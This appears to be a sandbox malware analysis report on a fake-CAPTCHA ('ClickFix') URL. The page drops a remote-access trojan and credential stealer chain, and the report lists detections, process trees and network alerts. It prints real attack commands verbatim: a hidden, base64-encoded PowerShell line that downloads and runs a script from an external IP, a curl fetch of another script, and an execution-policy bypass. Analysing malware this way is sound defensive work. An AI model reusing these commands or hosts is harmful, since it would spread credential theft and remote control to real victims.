Edit tour

Windows Analysis Report
https://gogl.to/3HGT

Overview

General Information

Sample URL:	https://gogl.to/3HGT
Analysis ID:	1582595
Infos:

Detection

CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detect drive by download via clipboard copy & paste

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected BrowserPasswordDump

Yara detected CAPTCHA Scam ClickFix

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected StormKitty Stealer

Yara detected VenomRAT

AI detected suspicious Javascript

AI detected suspicious URL

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powerup Write Hijack DLL

Suspicious execution chain found

Suspicious powershell command line found

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Downloads executable code via HTTP

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML page contains hidden javascript code

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1684,i,15715468711808837882,6335380214044972637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://gogl.to/3HGT" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 6564 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 6256 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7868 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7028 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 7064 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

powershell.exe (PID: 7044 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -" MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 8056 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8076 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3634.tmp" "c:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

RegAsm.exe (PID: 8180 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_264	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x172318:$a1: havecamera 0x1bd142:$a2: timeout 3 > NUL 0x1c04c5:$a3: START "" " 0x1c09da:$a3: START "" " 0x1c08b5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1c0952:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c4716:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1bc9b2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x1b8b26:$s6: VirtualBox 0x1c86a5:$s6: VirtualBox 0x1c40c2:$s8: Win32_ComputerSystem 0x1c860b:$s8: Win32_ComputerSystem 0x1c11ee:$s9: Win32_Process Where ParentProcessID= 0x1c0e0b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c0ea8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c0fbd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c10a5:$cnc4: POST / HTTP/1.1
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x242350:$a1: havecamera 0x53fd88:$a1: havecamera 0x28d17a:$a2: timeout 3 > NUL 0x58abb2:$a2: timeout 3 > NUL 0x2904fd:$a3: START "" " 0x290a12:$a3: START "" " 0x58df35:$a3: START "" " 0x58e44a:$a3: START "" " 0x2908ed:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58e325:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x29098a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58e3c2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x29474e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x592186:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28c9ea:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x58a422:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x288b5e:$s6: VirtualBox 0x2986dd:$s6: VirtualBox 0x586596:$s6: VirtualBox 0x596115:$s6: VirtualBox 0x2940fa:$s8: Win32_ComputerSystem 0x298643:$s8: Win32_ComputerSystem 0x591b32:$s8: Win32_ComputerSystem 0x59607b:$s8: Win32_ComputerSystem 0x291226:$s9: Win32_Process Where ParentProcessID= 0x58ec5e:$s9: Win32_Process Where ParentProcessID= 0x290e43:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58e87b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290ee0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58e918:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x290ff5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58ea2d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2910dd:$cnc4: POST / HTTP/1.1 0x58eb15:$cnc4: POST / HTTP/1.1
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
00000013.00000002.2412768868.0000000003345000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Click to see the 19 entries

HTML

Source	Rule	Description	Author	Strings
1.7.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.13.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6256, TargetFilename: C:\Windows\Temp\Modules.bat

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7868, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ProcessId: 7044, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7044, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", ProcessId: 8056, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6256, TargetFilename: C:\Windows\Temp\Modules.bat

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, ProcessId: 6256, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , CommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7868, ParentProcessName: cmd.exe, ProcessCommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7044, TargetFilename: C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=, ProcessId: 6256, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6564, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6256, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7044, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline", ProcessId: 8056, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T01:27:28.017986+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.16	50030	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T01:27:14.125579+0100	1810000	1	Potentially Bad Traffic	192.168.2.16	50012	185.149.146.164	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

Joe Sandbox ML: detected

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.7.pages.csv, type: HTML
Source: Yara match	File source: 1.13.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_264, type: DROPPED

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://roomsvisitors82831.world/... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script may have a legitimate purpose, such as analytics or tracking, the aggressive and opaque nature of its implementation raises significant security concerns. Further investigation is warranted to determine the true intent and potential impact of this script.
Source: 0.8.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://roomsvisitors82831.world/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscation of the script's purpose raise significant security concerns. While the script may be part of a legitimate service, the lack of transparency and the potential for abuse make it a high-risk script that requires further investigation.
Source: 0.21.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://roomsvisitors82831.world/recaptcha/bf.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as implementing a security challenge, the overall behavior is highly suspicious and indicative of potential malicious intent.

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://gogl.to
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://gogl.to

Source: https://roomsvisitors82831.world/

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

